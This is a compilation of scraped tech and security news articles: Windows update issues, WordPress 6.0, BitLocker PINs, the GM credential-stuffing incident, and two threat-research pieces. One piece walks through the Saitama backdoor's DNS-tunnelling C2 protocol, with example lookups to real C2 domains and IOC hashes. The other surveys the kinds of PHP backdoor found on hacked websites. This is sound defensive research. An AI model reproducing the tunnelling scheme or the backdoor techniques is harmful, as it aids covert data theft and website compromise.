Windows 11 KB5014019 breaks Trend Micro ransomware protection

This week’s Windows optional cumulative update previews have introduced a compatibility issue with some of Trend Micro’s security products that breaks some of their capabilities, including the ransomware protection feature.

“The UMH component used by several Trend Micro endpoint and server protection products is responsible for some advanced features such as ransomware protection,” the antivirus vendor revealed.

“Trend Micro is aware of an potential issue where customers who apply the optional Microsoft Windows 11 or Windows 2022 optional preview patches (KB5014019) and reboot would then find that the Trend Micro UMH driver would stop.”

The known issue affects the User Mode Hooking (UMH) component used by several Trend Micro endpoint solutions, including Apex One 2019, Worry-Free Business Security Advanced 10.0, Apex One as a Service 2019, Deep Security 20.0, Deep Security 12.0, and Worry-Free Business Security Services 6.7.

The Japanese cybersecurity company is now working on a fix to address this issue before the update previews are pushed to all Windows customers as part of the June 2022 Patch Tuesday.

How to restore Trend Micro endpoint solution capabilities

Luckily, unlike regular Patch Tuesday Windows updates, this week’s preview updates are optional and they were issued to test bug fixes and performance improvements before the general release.

Windows users have to manually check for them from Settings > Windows Update. They will not be installed until you click the ‘Download now’ button, limiting the number of potentially impacted users.

Impacted Windows platforms include both client and server versions with the problems experienced on systems running Windows 11, Windows 10 version 1809, and Windows Server 2022.

Trend Micro customers who have installed the optional Windows optional patch may either uninstall the patch temporarily or reach out to support to get a UMH debug module that should revive their security solution’s capabilities.

Windows users can remove the preview updates using the following commands from an Elevated Command Prompt.

Windows 10 1809: wusa /uninstall /kb:5014022 
Windows 11: wusa /uninstall /kb:5014019
Windows Server 2022: wusa /uninstall /kb:5014021

Source :
https://www.bleepingcomputer.com/news/security/windows-11-kb5014019-breaks-trend-micro-ransomware-protection/

WordPress 6.0: A major release with major improvements

It’s only been 4 months since the previous major release but we’re already excited to welcome WordPress 6.0. Of course, as with every other major release, you can expect loads of loads of improvements and exciting new features. This new version is no different. WordPress 6.0 continues to refine and iterate on the tools and features introduced in earlier releases. Let’s dive deeper into what WordPress 6.0 brings to your table!

For starters, this release will include all the great new features, enhancements and gains from Gutenberg 12.0 and 13.0. At the same time, developers and contributors continue to work on bug fixes and improvements that significantly impact the overall user experience on WordPress. This translates to over 400 updates, 500 bug fixes, and 91 new features in just one release, which is huge!

We’re getting an improved list view experience, style theme variations, additional templates, new blocks, new enhancements to the block editors and many more. Since there are many new things coming in this release, we’d like to bring your attention to some of the features and improvements that will likely have an impact on the way you use WordPress.

Full site editing enhancements and new features

Full site editing was the talk of the town when this major feature was introduced in previous releases. WordPress 6.0 continues to build upon the groundwork laid in 5.9 and further improves on what you can do with full site editing. You will need to use a block-based theme such as WordPress’s Twenty-Twenty-Two to take advantage of full site editing.

Style variations and global style switcher

Many people in the WordPress community are excited about this feature in the Site editor. You’ll be able to use theme variations derived from one single theme using various color and font combinations. It’s kind of like having several child themes but integrated into one single theme. And it’s incredibly easy to apply a new style variation across your entire site. From now on, you’ll be able to change the look and feel of your website with just a click.

Easily change the look and feel of your site using style variations

Theme export capability

Another huge improvement to full site editing specifically and the WordPress platform as a whole is the ability to export block themes. Any templates, layouts and style changes you made can be saved and exported to a .zip file. This feature is huge because it’s paving the way for visual theme building. You can create a WordPress theme just by purely using Gutenberg blocks. And of course, no coding knowledge is required!

To export your theme, go to your Site editor and click on the 3 dots icon in your top right corner. There should appear a menu with the option to download your theme.

New templates

Being able to use and customize templates to build your website content is great because it helps you to save time. We had templates to work with in previous WordPress versions, but the options were limited. WordPress 6.0 expands on this and introduces several new templates for specific functions. These include templates for displaying posts from a specific author, category, date, tag, or taxonomy.

New template options in the site editor

List view enhancements

When you access the list view in WordPress 6.0, you will see that your blocks are grouped together and collapsed instead of showing everything like in previous versions. This will make navigating the list view much easier. Next to this, when you’re working on a page with the list view open and you click anywhere on the page, it will highlight precisely where you are in the list view. Anyone who regularly works on complex pages should appreciate this enhancement.

The improved list view experience in WordPress 6.0

Block editor enhancements

New core blocks

WordPress 6.0 will ship with several new blocks including post author biography, avatar, no result in query loop and read more. We want to point you to the new comment query loop block because it further ‘blockifies’ the comment section of your post. With this new block, you’ll get plenty of customization options to design the comment section the way you want to.

The comment query loop block lets you customize your comment section

More features and enhancements

There are quite a lot of improvements and enhancements to the block editor that we can’t cover everything in this post. Instead, we will mention a few that we think will be the most beneficial for you.

The first new enhancement in the block editor we want to introduce is block locking. Moving forward, you’ll be able to lock a block so it can’t be moved and/or edited. A locked block will display a padlock when you click on it. And when you open the list view, you’ll also see the padlock indicating a locked block. This feature is especially useful if you work a lot with reusable blocks and don’t want anyone messing around with those blocks. It’s also beneficial for preserving design layouts when you’re creating templates or working with clients.

The new block locking UI

Next to that, in WordPress 6.0, when you customize a button and then add a new button using the plus button, it will have the same style as the one you’ve just customized. Before, you would need to redo all the customization if you want to add several buttons with the same style.

Another cool feature in this new version is style retention. It’s now possible to keep a block’s style when transforming certain blocks from one type to another and vice versa. It works with quite a few blocks, ranging from quote, list, code, heading, pullquote, verse, etcetera.

Lastly, the cover block can now dynamically grab your featured image and set it as the background for the cover block. All you have to do is select the ‘use featured image‘ setting and WordPress will do the rest.

The cover block can now dynamically grab your post’s featured image and use it as a background

Writing improvements

You can expect several notable writing improvements in this new version of WordPress. They are not major changes by any means, but you’ll definitely notice and appreciate the refinement in your overall writing experience.

Have you ever tried selecting text from 2 separate blocks and got annoyed because it automatically selected all the text from both blocks? Well, you won’t be bothered by that anymore. From WordPress 6.0 onwards, you can easily select text across blocks and edit it to your liking. This is definitely a quality of life improvement.

You can conveniently select text across blocks in WordPress 6.0

Also coming your way is a new link completer shortcut. You can access this shortcut anytime by typing “[[” and it will show you a list of links on your site. This feature can be handy when you’re doing internal linkings, for instance.

Lastly, WordPress will remind you to add tags and categories as the last step before you can publish a post. When you publish a lot of posts, it can be easy to forget this step so this is quite a neat feature for forgetful folks.

Design and layout tools

We won’t be diving too much into the improvements in design and layout tools, but we do think the following two features deserve a mention.

The first one is transparency control for background, which is very useful when you want to use a background with columns. You’ll surely elevate your post design if you can make use of this feature. The next fun addition to WordPress 6.0 is gap support for the gallery block. This just means you have more control over the spacing of your images, giving you a bit more freedom on how you want to display your image gallery. Anyone can take advantage of these 2 new features, but photography and fashion website runners can probably appreciate them the most.

Source :
https://yoast.com/wordpress-6-0/

How the Saitama backdoor uses DNS tunnelling

Thanks to the Malwarebytes Threat Intelligence Team for the information they provided for this article.

Understandably, a lot of cybersecurity research and commentary focuses on the act of breaking into computers undetected. But threat actors are often just as concerned with the act of breaking out of computers undetected too.

Malware with the intent of surveillance or espionage needs to operate undetected, but the chances are it also needs to exfiltrate data or exchange messages with its command and control infrastructure, both of which could reveal its presence to threat hunters.

One of the stealthy communication techniques employed by malware trying to avoid detection is DNS Tunnelling, which hides messages inside ordinary-looking DNS requests.

The Malwarebytes Threat Intelligence team recently published research about an attack on the Jordanian government by the Iranian Advanced Persistent Threat (APT) group APT34 that used its own innovative version of this method.

The payload in the attack was a backdoor called Saitama, a finite state machine that used DNS to communicate. Our original article provides an educational deep dive into the operation of Saitama and is well worth a read.

Here we will expand on the tricks that Saitama used to keep its DNS tunelling hidden.

Saitama’s DNS tunnelling

DNS is the Internet’s “address book” that allows computers to lookup human-readable domain names, like malwarebytes.com, and find their IP addresses, like 54.192.137.126.

DNS information isn’t held in a single database. Instead it’s distributed, and each domain has name servers that are responsible for answering questions about them. Threat actors can use DNS to communicate by having their malware make DNS lookups that are answered by name servers they control.

DNS is so important it’s almost never blocked by corporate firewalls, and the enormous volume of DNS traffic on corporate networks provides plenty of cover for malicious communication.

Saitama’s messages are shaped by two important concerns: DNS traffic is still largely unencrypted, so messages have to be obscured so their purpose isn’t obvious; and DNS records are often cached heavily, so identical messages have to look different to reach the APT-controlled name servers.

Saitama’s messages

In the attack on the Jordanian foreign ministry, Saitama’s domain lookups used the following syntax:

domain = messagecounter '.' root domain

The root domain is always one of uber-asia.comasiaworldremit.com or joexpediagroup.com, which are used interchangeably.

The sub-domain portion of each lookup consists of a message followed by a counter. The counter is used to encode the message, and is sent to the command and control (C2) server with each lookup so the C2 can decode the message.

Four types of message can be sent:

1. Make contact

The first time it is executed, Saitama starts its counter by choosing a random number between 0 and 46655. In this example our randomly-generated counter is 7805.

The DNS lookup derived from that counter is:

nbn4vxanrj.joexpediagroup.com

The counter itself is encoded using a hard-coded base36 alphabet that is shared by the name server. In base36 each digit is represented by one of the 36 characters 0-9 and A-Z. In the standard base36, alphabet 7805 is written 60t (6 x 1296 + 0 x 36 + 30 x 1). However, in Saitama’s custom alphabet 7805 is nrj.

The counter is also used to generate a custom alphabet that will be used to encode the message using a simple substitution. The first message sent home is the command 0, base36-encoded to a, which tells the server it has a new victim, prepended to the string haruto, making aharuto.

A simple substitution using the alphabet generated by the counter yields the message nbn4vxa.

a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9
                                                
n j 1 6 9 k p b h d 0 7 y i a 2 g 4 u x v 3 e s w f 5 8 r o c q t l z m

The C2 name server decodes the counter using the shared, hard-coded alphabet, and then uses the counter to derive the alphabet used to encode aharuto.

It responds to the contact request with an IP address that contains an ID for Saitama to use in future communications. The first three octets can be anything, and Saitama ignores them. The final octet contains the ID. In our example we will use the ID 203:

75.99.87.203

2. Ask for a command

Now that it has an ID from the C2 server, Saitama increments its counter to 7806 and signals its readiness to receive a command as follows: The counter is used to generate a new custom alaphabet, which encodes the ID, 203, as ao. The counter itself is encoded using the malware’s hard-coded base36 alphabet, to nrc, and one of Saitama’s three root domains is chosen at random, resulting in:

aonrc.uber-asia.com

The C2 server responds to the request with the size of the payload Saitama should expect. Saitama will use this to determine how many requests it will need to make to retrieve the full payload.

The first octet of the IP address the C2 responds with is any number between 129 and 255, while the second, third and fourth octets signify the first, second, and third bytes of the size of the payload. In this case the payload will be four bytes.

129.0.0.4

3. Get a command

Now that it knows the size of the payload it will receive, Saitama makes one or more RECEIVE requests to the server to get its instructions. It increments its counter by one each time, starting at 7807. Multiple requests may be necessary in this step because some command names require more than the four bytes of information an IP address can carry. In this case it has been told to retrieve four bytes of information so it will only need to make one request.

The message from Saitama consists of three parts: The digit 2, indicating the RECEIVE command; the ID 203; and an offset indicating which part of the payload is required. These are individually base36-encoded and concatenated together. The resulting string is encoded using a custom base36 alphabet derived from the counter 7807, giving us the message k7myyy.

The counter is encoded using the hard-coded alphabet to nr6, and one of Saitama’s three root domains is chosen at random, giving us:

k7myyynr6.asiaworldremit.com

The C2 indicates which function it wants to run using two-digit integers. It can ask Saitama to run any of five different functions:

C2Saitama
43Static
70Cmd
71CompressedCmd
95File
96CompressedFile

Saitama functions

In this case the C2 wants to run the command ver using Saitama’s Cmd function. (In the previous request the C2 indicated that it would be sending Saitama a four byte payload: One byte for 70, and three bytes for ver.)

In its response, the C2 uses the first octet of the IP address to indicate the function it wants to run, 70, and then the remaining three octets to spell out the command name ver using the ASCII codepoints for the lowercase characters “v”, “e”, and “r”:

70.118.101.114

4. Run the command

Saitama runs the command it has been given and sends the resulting output to the C2 server in one or more DNS requests. The counter is incremented by one each time, starting at 7808 in our example. Multiple requests may be necessary in this step because some command names require more than the four bytes an IP address can carry.

p6yqqqqp0b67gcj5c2r3gn3l9epztnrb.asiaworldremit.com

The counter is encoded using the hard-coded alphabet to nrb, and one of Saitama’s three root domains is chosen at random.

In this case the message consists of five parts: The digit 2, indicating the RECEIVE command; the ID 203; and an offset indicating which part of the response is being sent; the size of the buffer; and a twelve-byte chunk of the output. These are individually base36-encoded and concatenated together. The resulting string is encoded using a custom base36 alphabet derived from the counter 7808, giving us the message p6yqqqqp0b67gcj5c2r3gn3l9epzt.

Detection

Malwarebytes customers are protected from this attack via our Anti-Exploit layer. To learn more about the recent attack involving Saitama, read APT34 targets Jordan Government using new Saitama backdoor.

IOCs

Maldoc

Confirmation Receive Document.xls
26884f872f4fae13da21fa2a24c24e963ee1eb66da47e270246d6d9dc7204c2b

Saitama backdoor

update.exe
e0872958b8d3824089e5e1cfab03d9d98d22b9bcb294463818d721380075a52d

C2s

uber-asia.com
asiaworldremit.com
joexpediagroup.com

Source :
https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/

General Motors suffers credential stuffing attack

American car manufacturer General Motors (GM) says it experienced a credential stuffing attack last month. During the attack customer information and reward points were stolen.

The subject of the attack was an online platform, run by GM, to help owners of Chevrolet, Buick, GMC, and Cadillac vehicles to manage their bills, services, and redeem rewards points.

Credential stuffing

Credential stuffing is a special type of brute force attack where the attacker uses existing username and password combinations, usually ones that were stolen in a data breach on another service.

The intention of such an attack is not to take over the website or platform, but merely to get as many valid user account credentials and use that access to commit fraud, or sell the valid credentials to other criminals.

To stop a target from just blocking their IP address, an attacker will typically use rotating proxies. A rotating proxy is a proxy server that assigns a new IP address from the proxy pool for every connection.

The attack

GM disclosed that it detected the malicious login activity between April 11 and April 29, 2022, and confirmed that the threat actors exchanged customer reward bonuses of some customers for gift certificates.

The My GM Rewards program allows members to earn and redeem points toward buying or leasing a new GM vehicle, as well as for parts, accessories, paid Certified Service, and select OnStar and Connected Services plans.

GM says it immediately investigated the issue and notified affected customers of the issues.

Victims

GM contacted victims of the breach, advising them to follow instructions to recover their GM account. GM is also forcing affected users to reset their passwords before logging in to their accounts again. In the notification for affected customers, GM said it will be restoring rewards points for all customers affected by this breach.

GM specifically pointed out that the credentials used in the attack did not come from GM itself.

“Based on the investigation to date, there is no evidence that the log in information was obtained from GM itself. We believe that unauthorized parties gained access to customer login credentials that were previously compromised on other non-GM sites and then reused those credentials on the customer’s GM account.”

Stolen information

Attackers could have accessed the following Personally Identifiable Information (PII) of a compromised user:

  • First and last name
  • Email address
  • Physical address
  • Username and phone number for registered family members tied to the account
  • Last known and saved favorite location information
  • Search and destination information

Other information that was available was car mileage history, service history, emergency contacts, Wi-Fi hotspot settings (including passwords), and currently subscribed OnStar package (if applicable).

GM is offering credit monitoring for a year.

Mitigation

What could GM have done to prevent the attack? It doesn’t currently offer multi-factor authentication (MFA)which would have stopped the attackers from gaining access to the accounts. GM does ask customers to add a PIN for all purchases.

This incident demonstrates how dangerous it is to re-use your passwords for sites, services and platforms. Even if the account doesn’t seem that important to you, the information obtainable by accessing the account could very well be something you wish to keep private.

Always use a different password for every service you use, and consider using a password manager to store them all. You can read some more of our tips on passwords in our blog dedicated to World Password Day.

Stay safe, everyone!

Source :
https://blog.malwarebytes.com/reports/2022/05/general-motors-suffers-credential-stuffing-attack/

Get the most out of Windows Server with these 5 best practices

We’ve invested in Windows Server for nearly 30 years, and we continue to find new ways to empower businesses who trust Windows Server as the operating system for their workloads. Over this time, we understand that business requirements have become more complex and demanding. Thus, we are energized when we hear how customers continue to trust Windows Server to navigate these ever-evolving requirements and run business and mission-critical workloads.

We want to continue to invest in your organizations’ success and enable you to get the most out of Windows Server by keeping you informed of the latest product announcements, news, and overall best practices. Here are the top five to-do’s for you to make the most out of Windows Server:

1. Patch and install security updates without rebooting with Hotpatch

Hotpatch is now generally available. As part of Azure Automanage for Windows Server, this capability allows you to keep your Windows Server virtual machines on Azure up-to-date without rebooting, enabling higher availability with faster and more secure delivery of updates. Other capabilities that are part of Azure Automanage for Windows Server include SMB over QUIC, as well as extended network for Azure, which lets you keep your on-premises IP addresses when you migrate to Azure. Learn more about why Azure is the best destination for Windows Server.

2. Take the recently available Windows Server Hybrid Administrator Certification

Invest in your career and skills with this brand-new Windows Server certification. With this certification, you can keep the Windows Server knowledge you have built your career on and learn how to apply it in the current state of hybrid cloud computing. Earn this certification for managing, monitoring, and securing applications on-premises, in Azure, and at the edge. Learn more about Windows Server Hybrid Administrator Associate certification today.

3. Upgrade to Windows Server 2022

With Windows Server 2022, get the latest innovation for you to continue running your workloads securely, enable new hybrid cloud scenarios, and modernize applications to meet your ever-evolving business requirements. Learn more about investing in your success with Windows Server.

4. Protect your workloads by taking advantage of free extended security updates (ESUs) in Azure

While many customers have adopted Windows Server 2022, we also understand that some need more time to modernize as support for older versions of Windows Server will eventually end.

  • For Windows Server 2012/2012 R2 customers, the end of support date is October 10, 2023. 
  • For Windows Server 2008/2008 R2 customers, the third year of extended security updates are coming to an end on January 10, 2023. Customers can get an additional fourth year of free extended security updates (ESUs-only) on Azure (including Azure Stack HCI, Azure Stack Hub, and other Azure products). With this, customers will have until January 9, 2024 for Windows Server 2008/2008 R2 to upgrade to a supported release.

We are committed to supporting you as you start planning for end of support if you are running workloads on older versions of Windows Server. Learn more about end of support deadlines for Windows Server 2008/R2 and 2012/R2 and your options.

5. Combine extended security updates with Azure Hybrid Benefit to save even more

In addition to all the innovative Windows Server capabilities available only on Azure, it also has offers for you to start migrating your workloads with Azure Hybrid Benefit. It is a licensing benefit that allows you to save even more by using existing Windows Server licenses on Azure. Learn more about how much you can save with Azure Hybrid Benefit.

Ask questions and engage in our community

Get started implementing these Windows Server best practices today! Join the conversation by sharing stories or questions you have here:  

How to Enable a Pre-Boot BitLocker PIN on Windows

If you encrypt your Windows system drive with BitLocker, you can add a PIN for additional security. You’ll need to enter the PIN each time you turn on your PC, before Windows will even start. This is separate from a login PIN, which you enter after Windows boots up.

RELATED: How to Use a USB Key to Unlock a BitLocker-Encrypted PC

A pre-boot PIN prevents the encryption key from automatically being loaded into system memory during the boot process, which protects against direct memory access (DMA) attacks on systems with hardware vulnerable to them. Microsoft’s documentation explains this in more detail.

Step One: Enable BitLocker (If You Haven’t Already)

RELATED: How to Set Up BitLocker Encryption on Windows

This is a BitLocker feature, so you have to use BitLocker encryption to set a pre-boot PIN. This is only available on Professional and Enterprise editions of Windows. Before you can set a PIN, you have to enable BitLocker for your system drive.

Note that, if you go out of your way to enable BitLocker on a computer without a TPM, you’ll be prompted to create a startup password that’s used instead of the TPM. The below steps are only necessary when enabling BitLocker on computers with TPMs, which most modern computers have.

If you have a Home version of Windows, you won’t be able to use BitLocker. You may have the Device Encryption feature instead, but this works differently from BitLocker and doesn’t allow you to provide a startup key.

Step Two: Enable the Startup PIN in Group Policy Editor

Once you’ve enabled BitLocker, you’ll need to go out of your way to enable a PIN with it. This requires a Group Policy settings change. To open the Group Policy Editor, press Windows+R, type “gpedit.msc” into the Run dialog, and press Enter.

Head to Computer Configuration > Administrative Templates > Windows Components > BitLocker Drive Encryption > Operating System Drives in the Group Policy window.

Double-click the “Require Additional Authentication at Startup” Option in the right pane.

Select “Enabled” at the top of the window here. Then, click the box under “Configure TPM Startup PIN” and select the “Require Startup PIN With TPM” option. Click “OK” to save your changes.

Step Three: Add a PIN to Your Drive

You can now use the manage-bde command to add the PIN to your BitLocker-encrypted drive.

To do this, launch a Command Prompt window as Administrator. On Windows 10 or 8, right-click the Start button and select “Command Prompt (Admin)”. On Windows 7, find the “Command Prompt” shortcut in the Start menu, right-click it, and select “Run as Administrator”

Run the following command. The below command works on your C: drive, so if you want to require a startup key for another drive, enter its drive letter instead of c: .

manage-bde -protectors -add c: -TPMAndPIN

You’ll be prompted to enter your PIN here. The next time you boot, you’ll be asked for this PIN.

To double-check whether the TPMAndPIN protector was added, you can run the following command:

manage-bde -status

(The “Numerical Password” key protector displayed here is your recovery key.)

How to Change Your BitLocker PIN

To change the PIN in the future, open a Command Prompt window as Administrator and run the following command:

manage-bde -changepin c:

You’ll need to type and confirm your new PIN before continuing.

How to Remove the PIN Requirement

If you change your mind and want to stop using the PIN later, you can undo this change.

First, you’ll need to head to the Group Policy window and change the option back to “Allow Startup PIN With TPM”. You can’t leave the option set to “Require Startup PIN With TPM” or Windows won’t allow you to remove the PIN.

Next, open a Command Prompt window as Administrator and run the following command:

manage-bde -protectors -add c: -TPM

This will replace the “TPMandPIN” requirement with a “TPM” requirement, deleting the PIN. Your BitLocker drive will automatically unlock via your computer’s TPM when you boot.

To check that this completed successfully, run the status command again:

manage-bde -status c:

If you forget the PIN, you’ll need to provide the BitLocker recovery code you should have saved somewhere safe when you enabled BitLocker for your system drive.

Source :
https://www.howtogeek.com/262720/how-to-enable-a-pre-boot-bitlocker-pin-on-windows/

Android and Chrome Users Can Soon Generate Virtual Credit Cards to Protect Real Ones

Google on Wednesday took to its annual developer conference to announce a host of privacy and security updates, including support for virtual credit cards on Android and Chrome.

“When you use autofill to enter your payment details at checkout, virtual cards will add an additional layer of security by replacing your actual card number with a distinct, virtual number,” Google’s Jen Fitzpatrick said in a statement.

The goal, the search giant, said to keep payment information safe and secure during online shopping and protect users from skimming attacks wherein threat actors inject malicious JavaScript code to plunder credit card numbers and sell them on the black market.

The feature is expected to roll out in the U.S. for Visa, American Express, Mastercard, and Capital One cards starting this summer.

Interestingly, while Apple offers an option to mask email addresses via Hide My Email, which enables users to create unique, random email addresses to use with apps and websites, it’s yet to offer a similar option for creating virtual credit cards.

The development comes a week after Google, Apple, and Microsoft banded together to accelerate support for a common passwordless sign-in standard that allows “websites and apps to offer consistent, secure, and easy passwordless sign-ins to consumers across devices and platforms.”

Additionally, Google said it’s expanding phishing protections in Google Workspace to Docs, Slides and Sheets, and that it plans to debut a new “My Ad Center” later this year to give users more control over personalized ads on YouTube, Search, and Discover feed.

What’s more, users would be able to request personally identifiable information such as email, phone number, or home address to be removed from search results through a new tool that will be accessible from the Google App.

Also coming is a new Account Safety Status setting that will “feature a simple yellow alert icon on your profile picture that will flag actions you should take to secure your account.”

Other key privacy and security features unveiled at Google I/O 2022 include support for end-to-end encryption for group conversations in the Messages app for Android and the availability of on-device encryption for Google Password Manager.

Source :
https://thehackernews.com/2022/05/blog-post.html

Examining Emerging Backdoors

Next up in our “This didn’t quite make it into the 2021 Threat Report, but is still really cool” series: New backdoors!

Backdoors are a crucial component of a website infection. They allow the attackers ongoing access to the compromised environment and provide them a “foot in the door” to execute their payload. We see many different types of backdoors with varying functionality.

When our malware research team is provided with a new backdoor they need to write what’s called a “signature” to ensure that we detect and remove it in future security scans. Signatures need names, and over the years we’ve developed something of a taxonomy naming system for all of the different malware that we come across.

In this article we’re going to explore all the different categories of signatures for newly-discovered backdoors throughout the year 2021.

How do Backdoors Work?

HTTP requests to websites typically fall into one of the following categories:

  • POST – sending data to a website
  • GET – requesting data from a website
  • COOKIE – data (such as session data) saved from a website
  • REQUEST – a conjunction of all/any of the three

We see all sorts of different backdoors while cleaning up compromised websites. Sometimes they use one of these types of requests, or a combination of multiple different types.

We’ve broken all newly generated signatures from 2021 down for further analysis into the following categories:

A graph showing the distribution of new backdoor signatures generated in 2021.

Uploaders

By far the most common type of backdoor found in 2021 was an uploader: That is, a PHP script that allows the attackers to upload any file that they want. These malicious files allow anyone with the correct URL path, parameters and (occasionally) access credentials to upload whichever files they want to the web server. Typically, bad actors use these backdoors to upload a webshell, spam directory, dropper, or other type of file giving them full control over the environment.

To avoid detection, attackers are always tweaking their malware by using new methods of obfuscation or concealing backdoors within legitimate-looking images, core files, plugins, or even themes — this can make malicious file uploaders difficult to detect during a casual site review.

Once an attacker has identified a vulnerable environment that they can get a foothold in, planting the uploader is often the next step. After that they have enough access to upload more complicated access points such as a webshell.

Of course there are legitimate uploader scripts, as many websites require functionality to allow users to upload photos or other content to the website. To mitigate risk, secure uploader scripts contain strict rules on how they are able to behave:

  • Only certain file types/extensions are allowed (usually image, or document files)
  • May require authorisation cookies to be set
  • May place files in a restricted directory with PHP execution disabled
  • May disable direct access and instead need to be called by the existing CMS structure

Malicious uploaders, on the other hand, have no such restrictions as they are designed to upload malicious files and PHP scripts.

A malicious uploader script

WebShells

Webshells are a classic type of malware that have been used by attackers for many years. They are administrative dashboards that give the attacker full access to the files and often provide a large amount of information about the hosting environment including operating system, PHP settings, web server configurations, file management, and SQL connections.

The classic FilesMan shell continues to be very popular with attackers. In 2021 we generated 20 new signatures related to new filesman variants alone, not including hack tools which grab filesman shells from remote servers.

Interestingly, a lot of malicious web shells provide far superior functionality than a lot of file managers provided by web hosting providers.

A malicious web shell backdoor

Misc RCE

Sometimes remote code execution backdoors are a little more complicated, or just rely on more basic/generic $_REQUEST calls. This is a PHP global array that contains the content of GETPOST and COOKIE inputs. The content of these variables could be anything and the attacker can fill them — e.g. with the payload — which is then processed. Sometimes the entire payload code is stored there and only very simple code snippets are injected into legitimate files. Such a snippet only loads and executes the content of these variables.

Other times, RCE backdoors make use of multiple different functions and request types.

A remote code execution backdoor

Generic

Not falling into any particular category are our collection of “generic” backdoors. They tend to use a mixture of different functions and methods to maintain backdoor access to the environment. Some are heavily obfuscated and others are mostly in plain text, but what unites them is that they don’t rely on any one technique to backdoor the environment in which they reside.

A generic, malicious backdoor

FILE_GET_CONTENTS

The PHP function file_get_contents fetches a local file or remote file. As far as backdoors are concerned, attackers misuse this function to grab malicious files located on other websites or servers and add it to the victim’s website. This allows them to host the actual malicious content elsewhere, while maintaining all of the same functionality on the victim environment.

Here we have a very simple backdoor using file_get_contents to grab a backdoor from a malicious server. The actual address is obfuscated through use of a URL shortening service:

A backdoor which uses file_get_contents

The footprint of this malware is very small as the payload resides elsewhere, but the functionality is potentially huge.

Remote Code Execution Backdoors

Not to be confused with remote code execution vulnerabilities, these backdoors are crafted to take whatever command is issued to it by the attacker and execute it in the victim’s environment. These PHP backdoors are often more complex than uploaders and allow the attackers more leeway in terms of how they can interact with the victim website.

If a request is sent that matches the parameters of the backdoor it will execute whichever command the attacker instructs so long as it doesn’t get blocked by any security software or firewall running within the environment.

A remote code execution backdoor

Here’s another example of a quite well hidden RCE backdoor in a Magento environment:

A well-hidden RCE backdoor in a Magento environment

Attackers make heavy use of the eval function which executes the command in the victim environment.

FILE_PUT_CONTENTS

These backdoors utilise the PHP function file_put_contents which will write the instructed content to a file on the victim environment.

Here is an example of such a backdoor lodged in a WordPress configuration file wp-config.php:

A backdoor which uses file_put_contents

This backdoor writes the specified malicious content into the file structure of the victim website given the correct parameters in the attacker’s request, allowing them to infect other files on the server with the content of their choice.

cURL

The curl() function facilitates the transmission of data. It can be used maliciously to download remote code which can be executed or directly displayed. This way, malware authors are able to create a small backdoor that only has this curl functionality implemented while the payload itself can be downloaded from a remote source.

It has many uses, and as such can be misused in many ways by attackers. We have seen it used frequently in credit card skimmers to transmit sensitive details to exfiltration destinations. It can also be used in RCE backdoors:

A backdoor which uses CURL

Since the attackers have crafted a backdoor to (mis)use curl, and they control the parameters under which it will function, in this way they are able to send or receive malicious traffic to and from the website, depending on how the backdoor is designed.

Authentication Bypass

These types of backdoors are most often seen in WordPress environments. They are small PHP scripts which allow the attacker to automatically log in to the administrator panel without needing to provide any password.

As long as they include the database configuration file in the script then they are able to set the necessary cookies for authorization, as seen in this example here:

A backdoor which bypasses normal authentication

The existence of such backdoors presents a case that additional authentication requirements should be employed within website environments. Protecting your admin panel with our firewall’s protected page feature is a great way to do this.

If you’re not a user of our firewall there are a lot of other ways that your admin panel can be protected.

Basic RCE via POST

Backdoors that take input through POST requests are quite common and many of the backdoor types that we’ve seen contain such functionality. Some of them, however, are quite small and rely exclusively on POST requests.

The example below shows one such backdoor, coupled with basic password protection to ensure that the backdoor is not used by anybody that does not have access to the password.

A basic remote code execution backdoor which uses POST

Fake Plugins

Another tactic that we’ve seen attackers use is the use of fake plugins. This is frequently used as a payload to deliver spam and malware, since WordPress will load the components present in the ./wp-content/plugins directory.

We’ve also seen attackers use these plugins as backdoors to maintain access to compromised environments.

A fake plugin in a WordPress environment

Since admin panel compromises are a very common attack vector, the usage of fake/malicious backdoor plugins is quite popular with attackers.

System Shell Backdoors

Attackers have also written malware that interacts with the hosting environment itself and will attempt to run shell commands via PHP scripts in the environment. This is not always possible, depending on the security settings of the environment, but here’s an example of one such backdoor:

A system shell backdoor

If system() is disabled in the environment then these will not work, so the functionality of such backdoors will be limited by the security settings in the host.

COOKIE Based Backdoors

Some malware creators use COOKIES as a storage for various data. These can be decryption keys  used to decode an otherwise inaccessible payload, or even the entire malicious payload itself.

A cookie based backdoor

CREATE_FUNCTION

The create_function() is often used by malware instead of (or in conjunction with) the eval() function to hide the execution of the malicious code. The payload is encapsulated inside the crafted custom function, often with an obfuscated name to make the functionality less clear.

This function is then called somewhere else within the code, and thus the payload is evaluated. Backdoors have been found to abuse this to place their payload back on the infected website after it was removed.

A backdoor which creates a malicious function in the victim environment

RCE via GET

Backdoors have also been seen using GET requests for input, rather than POST requests. In the example below we can see that the backdoor will execute the malicious payload if a GET request contains a certain string.

A remote code execution backdoor which uses GET

This allows the attackers to restrict the usage of the backdoor to only those who know the exact parameters to specify in the malicious GET request to the website. If the correct parameters are given then the backdoor will execute its intended function.

Database Management Backdoors

Most often attackers will misuse tools such as Adminer to insert malicious content into the victim website’s database, but occasionally we have seen them craft their own database management tools. This allows them to insert admin users into the website as well as inject malicious JavaScript into the website content to redirect users to spam or scam websites or steal credit card information from eCommerce environments.

A database management backdoor

Conclusion & Mitigation Steps

Backdoors play a crucial role for the attackers in a huge number of website compromises. Once the attackers are able to gain a foothold into an environment their goal is to escalate the level of access they have as much as possible. Certain vulnerabilities will provide them access only to certain directories. For example, a subdirectory of the wp-content/uploads area of the file structure.

Often the first thing they will do is place a malicious uploader or webshell into the environment, giving them full control over the rest of the website files. Once that is established they are able to deliver a payload of their choosing.

If default configurations are in place in a standard WordPress/cPanel/WHM configuration a single compromised admin user on a single website can cause the entire environment to be infected. Attackers can move laterally throughout the environment by the use of symlinks even if the file permissions/ownership are configured correctly.

Malicious actors are writing new code daily to try to evade existing security detections. As security analysts and researchers it’s our job to stay on top of the most recent threats and ensure that our tools and monitoring detect it all.

Throughout the year 2021 we added hundreds of new signatures for newly discovered backdoors. I expect we’ll also be adding hundreds more this year.

If you’d like us to help you monitor and secure your website from backdoors and other threats you can sign up for our platform-agnostic website security services.

Source :
https://blog.sucuri.net/2022/05/examining-emerging-backdoors.html

Massive WordPress JavaScript Injection Campaign Redirects to Ads 

